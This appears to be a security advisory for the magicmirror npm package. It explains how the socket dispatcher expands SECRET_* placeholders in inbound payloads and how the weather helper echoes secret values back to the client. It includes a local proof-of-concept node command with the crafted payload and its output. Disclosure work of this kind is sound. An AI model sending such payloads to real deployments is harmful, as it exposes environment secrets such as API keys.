npm · magicmirror
MagicMirror socket payload secret placeholder expansion can disclose SECRET_* environment variables
When hideConfigSecrets: true is enabled, MagicMirror redacts SECRET_* environment placeholders in the HTTP /config response, but the shared node-helper socket dispatcher expands **SECRET_NAME** placeholders in every inbound socket payload before passing it to module helpers. Any client that can connect to a loaded module namespace can send a placeholder such as **SECRET_API_KEY** and cause the server to substitute the real environment variable into the helper payload. Helpers that echo attacker-controlled payload fields, such as the default weather helper error path, can return the secret value to the socket client.
The affected product is the npm package/application magicmirror at version 2.36.0, tested at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 from https://github.com/MagicMirrorOrg/MagicMirror.git.
The secret-redaction feature is implemented during config loading:
js/utils.js:117-123 loads a config.env file next to the config file into process.env when present.js/utils.js:130-151 creates both a full config and a redacted config.js/utils.js:137-140 redacts environment variables whose names start with SECRET_ to **SECRET_NAME** in the redacted config when hideConfigSecrets: true is present.js/server.js:112-125 returns either configObj.redactedConf or configObj.fullConf from /config depending on config.hideConfigSecrets.The disclosure root cause is the inbound socket dispatcher:
js/node_helper.js:88-103 registers a catch-all handler for each module namespace.js/node_helper.js:91-99 checks config?.hideConfigSecrets and, for every inbound object payload, runs replaceSecretPlaceholder(JSON.stringify(payload)) before invoking socketNotificationReceived(...).js/server_functions.js:23-34 implements replaceSecretPlaceholder(...) by replacing **SECRET_* **-style placeholders with process.env[...], unless global.config.cors === "allowAll".This reverses the redaction boundary: redacted placeholders intended for the browser can be sent back to the server and expanded into real environment secret values inside helper payloads.
A confirmed echo path exists in the default weather helper:
defaultmodules/weather/node_helper.js:12-19 accepts INIT_WEATHER from the socket.defaultmodules/weather/node_helper.js:27-31 copies config.instanceId from the attacker-controlled payload.defaultmodules/weather/node_helper.js:47-52 attempts to dynamically load the requested weather provider.defaultmodules/weather/node_helper.js:86-91 catches errors and sends WEATHER_ERROR with the same instanceId back to the namespace.False-positive screening performed:
/env; js/server_functions.js:221-240 returns only selected client environment paths./config route does redact placeholders when hideConfigSecrets: true; the issue is that the inbound socket path expands those placeholders again before module helper code runs.replaceSecretPlaceholder(...) intentionally refuses substitution when global.config.cors === "allowAll" (js/server_functions.js:29-34); the positive PoC used cors: "disabled", which is the shipped default (js/defaults.js:14). A negative control with no substitution produced the placeholder unchanged.SECRET_* variable name. If the attacker can read the redacted /config response, placeholder names may be disclosed even when values are hidden. The PoC uses a known SECRET_MM_AUDIT test variable.address: "localhost" and loopback ipWhitelist, remote network reachability is limited. In documented non-loopback deployments, this combines with the Socket.IO access-control gap described separately.Affected-version evidence: only magicmirror@2.36.0 at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 was tested. The affected range is unknown from this audit; earlier versions were not tested. No patched version or fix commit was identified locally.
The following safe local PoC was run from a clean checkout of MagicMirror at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8. Because node_modules were not installed in this audit environment and package.json:52 has a destructive postinstall, the command uses dependency stubs while executing the vulnerable repository dispatcher and weather helper code. It writes no files and does not contact external services.
Positive trigger:
node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g,(_m,g)=>process.env[g])}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"disabled"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'
Observed output:
[{"n":"WEATHER_ERROR","p":{"instanceId":"secret-marker-42","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]
Expected vulnerable output: the weather error payload returned by the helper contains "instanceId":"secret-marker-42", proving the server substituted the SECRET_MM_AUDIT environment variable into an attacker-controlled socket payload and returned it to the client.
Negative/control trigger simulating no inbound placeholder substitution:
node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"allowAll"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"**SECRET_MM_AUDIT**",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));'
Observed control output:
[{"n":"WEATHER_ERROR","p":{"instanceId":"**SECRET_MM_AUDIT**","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}]
Exp
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.